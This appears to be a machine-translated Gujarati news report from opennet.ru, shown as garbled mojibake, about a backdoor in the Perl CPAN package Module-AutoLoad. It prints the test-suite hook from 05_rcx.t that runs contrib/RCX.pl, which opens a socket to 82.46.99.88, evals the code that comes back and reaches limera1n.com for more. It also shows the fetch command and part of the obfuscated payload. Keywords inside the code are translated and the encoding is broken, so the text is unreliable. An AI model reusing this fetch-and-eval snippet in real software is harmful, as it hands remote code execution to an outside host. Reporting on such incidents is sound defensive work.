เชฎเซ‹เชกเซเชฏเซเชฒ-เช“เชŸเซ‹เชฒเซ‹เชก เชชเชฐเซเชฒ เชชเซ‡เช•เซ‡เชœเชฎเชพเช‚ เชฆเซ‚เชทเชฟเชค เช•เซ‹เชก เชฎเชณเซเชฏเซ‹

CPAN เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€ เชฆเซเชตเชพเชฐเชพ เชตเชฟเชคเชฐเชฟเชค เชชเชฐเซเชฒ เชชเซ‡เช•เซ‡เชœเชฎเชพเช‚ เชฎเซ‹เชกเซเชฏเซเชฒ-เช“เชŸเซ‹เชฒเซ‹เชก, เชซเซเชฒเชพเชฏ เชชเชฐ เช†เชชเชฎเซ‡เชณเซ‡ CPAN เชฎเซ‹เชกเซเชฏเซเชฒเซ‹ เชฒเซ‹เชก เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชฐเชšเชพเชฏเซ‡เชฒ เช›เซ‡, เช“เชณเช–เชพเชฏเซ‡เชฒ เชฆเซ‚เชทเชฟเชค เช•เซ‹เชก. เชฆเซ‚เชทเชฟเชค เชฆเชพเช–เชฒ เชนเชคเซ‹ เชฎเชณเซ€ เชŸเซ‡เชธเซเชŸ เช•เซ‹เชกเชฎเชพเช‚ 05_rcx.t, เชœเซ‡ 2011 เชฅเซ€ เชถเชฟเชชเชฟเช‚เช— เช•เชฐเซ€ เชฐเชนเซเชฏเซเช‚ เช›เซ‡.
เชจเซ‹เช‚เชงเชจเซ€เชฏ เช›เซ‡ เช•เซ‡ เชถเช‚เช•เชพเชธเซเชชเชฆ เช•เซ‹เชก เชฒเซ‹เชก เช•เชฐเชตเชพ เช…เช‚เช—เซ‡ เชชเซเชฐเชถเซเชจเซ‹ เช‰เชญเชพ เชฅเชฏเชพ เชนเชคเชพ เชธเซเชŸเซ‡เช• เช“เชตเชฐเชซเซเชฒเซ‹ เชชเชพเช›เชพ 2016 เชฎเชพเช‚.

เชฎเซ‹เชกเซเชฏเซเชฒ เช‡เชจเซเชธเซเชŸเซ‹เชฒ เช•เชฐเชคเซ€ เชตเช–เชคเซ‡ เชฒเซ‰เชจเซเชš เช•เชฐเชพเชฏเซ‡เชฒ เชŸเซ‡เชธเซเชŸ เชธเซเชฏเซเชŸเชจเชพ เช…เชฎเชฒ เชฆเชฐเชฎเชฟเชฏเชพเชจ เชคเซƒเชคเซ€เชฏ-เชชเช•เซเชท เชธเชฐเซเชตเชฐ (http://r.cx:1/) เชชเชฐเชฅเซ€ เช•เซ‹เชก เชกเชพเช‰เชจเชฒเซ‹เชก เช…เชจเซ‡ เชเช•เซเชเชฟเช•เซเชฏเซเชŸ เช•เชฐเชตเชพเชจเชพ เชชเซเชฐเชฏเชพเชธเชฎเชพเช‚ เชฆเซ‚เชทเชฟเชค เชชเซเชฐเชตเซƒเชคเซเชคเชฟ เช‰เช•เชณเซ‡ เช›เซ‡. เชเชตเซเช‚ เชฎเชพเชจเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡ เช•เซ‡ เชถเชฐเซ‚เช†เชคเชฎเชพเช‚ เชฌเชพเชนเซเชฏ เชธเชฐเซเชตเชฐ เชชเชฐเชฅเซ€ เชกเชพเช‰เชจเชฒเซ‹เชก เช•เชฐเซ‡เชฒ เช•เซ‹เชก เชฆเซ‚เชทเชฟเชค เชจ เชนเชคเซ‹, เชชเชฐเช‚เชคเซ เชนเชตเซ‡ เชตเชฟเชจเช‚เชคเซ€เชจเซ‡ ww.limera1n.com เชกเซ‹เชฎเซ‡เชจ เชชเชฐ เชฐเซ€เชกเชพเชฏเชฐเซ‡เช•เซเชŸ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡, เชœเซ‡ เช…เชฎเชฒ เชฎเชพเชŸเซ‡ เช•เซ‹เชกเชจเซ‹ เชคเซ‡เชจเซ‹ เชญเชพเช— เชชเซเชฐเชฆเชพเชจ เช•เชฐเซ‡ เช›เซ‡.

เชซเชพเช‡เชฒเชฎเชพเช‚ เชกเชพเช‰เชจเชฒเซ‹เชกเชจเซ‡ เช—เซ‹เช เชตเชตเชพ เชฎเชพเชŸเซ‡ 05_rcx.t เชจเซ€เชšเซ‡เชจเชพ เช•เซ‹เชกเชจเซ‹ เช‰เชชเชฏเซ‹เช— เชฅเชพเชฏ เช›เซ‡:

เชฎเชพเชฐเซเช‚ $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

เช‰เชฒเซเชฒเซ‡เช–เชฟเชค เช•เซ‹เชก เชธเซเช•เซเชฐเชฟเชชเซเชŸ เชšเชฒเชพเชตเชตเชพเชจเซเช‚ เช•เชพเชฐเชฃ เชฌเชจเซ‡ เช›เซ‡ ../contrib/RCX.pl, เชœเซ‡เชจเซเช‚ เชธเชฎเชพเชตเชฟเชทเซเชŸ เชฒเซ€เชŸเซ€เชฎเชพเช‚ เช˜เชŸเชพเชกเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡:

lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1โ€ณ} เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ‹;

เช† เชธเซเช•เซเชฐเชฟเชชเซเชŸ เชฒเซ‹เชก เชฅเชพเชฏ เช›เซ‡ เชฎเซ‚เช‚เชเชตเชฃ เชธเซ‡เชตเชพเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ perlobfuscator.com เชฌเชพเชนเซเชฏ เชนเซ‹เชธเซเชŸ r.cx เชฎเชพเช‚เชฅเซ€ เช•เซ‹เชก (เช•เซ‡เชฐเซ‡เช•เซเชŸเชฐ เช•เซ‹เชก 82.46.99.88 เชŸเซ‡เช•เซเชธเซเชŸ "R.cX" เชจเซ‡ เช…เชจเซเชฐเซ‚เชช เช›เซ‡) เช…เชจเซ‡ เชคเซ‡เชจเซ‡ eval เชฌเซเชฒเซ‹เช•เชฎเชพเช‚ เชเช•เซเชเชฟเช•เซเชฏเซเชŸ เช•เชฐเซ‡ เช›เซ‡.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1โ€ณ; เช›เชพเชชเซ‹ <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DEโ€ฆ.}

เช…เชจเชชเซ‡เช• เช•เชฐเซเชฏเชพ เชชเช›เซ€, เชจเซ€เชšเซ‡ เช†เชชเซ‡เชฒ เช†เช–เชฐเซ‡ เชšเชฒเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡: เช•เซ‹เชก:

เชชเซเชฐเชฟเชจเซเชŸ{$b=new IO::Socket::INET"ww.limera1n.com:80โ€ณ}"GET /iJailBreak
";เช‡เชตเซ‡เชฒเซ‹เชฐ เชฐเซ€เชŸเชฐเซเชจ เชšเซ‡เชคเชตเชฃเซ€$@while$b;1

เชธเชฎเชธเซเชฏเชพเชฐเซ‚เชช เชชเซ‡เช•เซ‡เชœ เชนเชตเซ‡ เชฐเซ€เชชเซ‹เชเซ€เชŸเชฐเซ€เชฎเชพเช‚เชฅเซ€ เชฆเซ‚เชฐ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เช›เซ‡. เชฅเซ‹เชญเซ‹ (Perl เชฒเซ‡เช–เช•เซ‹ เช…เชชเชฒเซ‹เชก เชธเชฐเซเชตเชฐ), เช…เชจเซ‡ เชฎเซ‹เชกเซเชฏเซเชฒ เชฒเซ‡เช–เช•เชจเซเช‚ เชเช•เชพเช‰เชจเซเชŸ เช…เชตเชฐเซ‹เชงเชฟเชค เช›เซ‡. เช† เช•เชฟเชธเซเชธเชพเชฎเชพเช‚, เชฎเซ‹เชกเซเชฏเซเชฒ เชนเชœเซ เชชเชฃ เชฐเชนเซ‡ เช›เซ‡ เช‰เชชเชฒเชฌเซเชง MetaCPAN เช†เชฐเซเช•เชพเช‡เชตเชฎเชพเช‚ เช›เซ‡ เช…เชจเซ‡ เช•เซ‡เชŸเชฒเซ€เช• เช‰เชชเชฏเซ‹เช—เชฟเชคเชพเช“ เชœเซ‡เชฎ เช•เซ‡ cpanminus เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ MetaCPAN เชฅเซ€ เชธเซ€เชงเซเช‚ เช‡เชจเซเชธเซเชŸเซ‹เชฒ เช•เชฐเซ€ เชถเช•เชพเชฏ เช›เซ‡. เชคเซ‡ เชจเซ‹เช‚เชงเซเชฏเซเช‚ เช›เซ‡เช•เซ‡ เชชเซ‡เช•เซ‡เชœ เชตเซเชฏเชพเชชเช•เชชเชฃเซ‡ เชตเชฟเชคเชฐเชฟเชค เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เชจ เชนเชคเซเช‚.

เชšเชฐเซเชšเชพ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชฐเชธเชชเซเชฐเชฆ เชœเซ‹เชกเชพเชฏเซ‡เชฒ เช…เชจเซ‡ เชฎเซ‹เชกเซเชฏเซเชฒเชจเชพ เชฒเซ‡เช–เช•, เชœเซ‡เชฎเชฃเซ‡ เชคเซ‡เชจเซ€ เชธเชพเชˆเชŸ โ€œr.cxโ€ เชนเซ‡เช• เชฅเชฏเชพ เชชเช›เซ€ เชฆเซ‚เชทเชฟเชค เช•เซ‹เชก เชฆเชพเช–เชฒ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซ‹ เชนเซ‹เชตเชพเชจเซ€ เชฎเชพเชนเชฟเชคเซ€เชจเซ‡ เชจเช•เชพเชฐเซ€ เช•เชพเชขเซ€ เชนเชคเซ€ เช…เชจเซ‡ เชธเชฎเชœเชพเชตเซเชฏเซเช‚ เชนเชคเซเช‚ เช•เซ‡ เชคเซ‡ เชฎเชพเชคเซเชฐ เชฎเชœเชพ เช•เชฐเซ€ เชฐเชนเซเชฏเซ‹ เชนเชคเซ‹, เช…เชจเซ‡ perlobfuscator.com เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เช‚เชˆเช• เช›เซเชชเชพเชตเชตเชพ เชฎเชพเชŸเซ‡ เชจเชนเซ€เช‚, เชชเชฐเช‚เชคเซ เช•เชฆ เช˜เชŸเชพเชกเชตเชพ เชฎเชพเชŸเซ‡ เช•เชฐเซเชฏเซ‹ เชนเชคเซ‹. เช•เซ‹เชกเชจเซ€ เช…เชจเซ‡ เช•เซเชฒเชฟเชชเชฌเซ‹เชฐเซเชก เชฆเซเชตเชพเชฐเชพ เชคเซ‡เชจเซ€ เชจเช•เชฒเชจเซ‡ เชธเชฐเชณ เชฌเชจเชพเชตเชตเซ€. เชซเช‚เช•เซเชถเชจ เชจเชพเชฎ "เชฌเซ‹เชŸเชธเซเชŸเซเชฐเซ‡เชช" เชจเซ€ เชชเชธเช‚เชฆเช—เซ€ เช เชนเช•เซ€เช•เชค เชฆเซเชตเชพเชฐเชพ เชธเชฎเชœเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เช›เซ‡ เช•เซ‡ เช† เชถเชฌเซเชฆ "เชฌเซ‹เชŸ เชœเซ‡เชตเซ‹ เชฒเชพเช—เซ‡ เช›เซ‡ เช…เชจเซ‡ เชฌเซเชŸเชธเซเชŸเซเชฐเซ‡เชช เช•เชฐเชคเชพ เชŸเซ‚เช‚เช•เซ‹ เช›เซ‡." เชฎเซ‹เชกเซเชฏเซเชฒเชจเชพ เชฒเซ‡เช–เช•เซ‡ เช เชชเชฃ เช–เชพเชคเชฐเซ€ เช†เชชเซ€ เช›เซ‡ เช•เซ‡ เช“เชณเช–เชพเชฏเซ‡เชฒ เชฎเซ‡เชจเชฟเชชเซเชฏเซเชฒเซ‡เชถเชจเซเชธ เชฆเซ‚เชทเชฟเชค เช•เซเชฐเชฟเชฏเชพเช“ เช•เชฐเชคเชพ เชจเชฅเซ€, เชชเชฐเช‚เชคเซ เชฎเชพเชคเซเชฐ TCP เชฆเซเชตเชพเชฐเชพ เช•เซ‹เชกเชจเชพ เชฒเซ‹เชกเชฟเช‚เช— เช…เชจเซ‡ เชเช•เซเชเซ‡เช•เซเชฏเซเชถเชจเชจเซเช‚ เชจเชฟเชฆเชฐเซเชถเชจ เช•เชฐเซ‡ เช›เซ‡.

เชธเซ‹เชฐเซเชธ: opennet.ru

เชเช• เชŸเชฟเชชเซเชชเชฃเซ€ เช‰เชฎเซ‡เชฐเซ‹